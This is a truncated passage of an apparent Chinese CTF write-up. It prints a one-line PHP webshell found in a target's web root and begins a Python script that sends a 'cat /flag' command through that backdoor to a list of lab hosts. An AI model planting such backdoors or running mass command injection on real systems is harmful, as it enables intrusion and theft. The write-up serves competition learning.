最简短的一集，小时候看这集吓哭了 总共三道题，第一道题在网站根目录下有..php文件，内容如下 <?=@$_POST[9]=> 于是写个批量脚本，顺带一提其他靶机还不用扫ip，官方给 import requests url_list = ... data = { "9": "echo `cat /flag`" } for url in…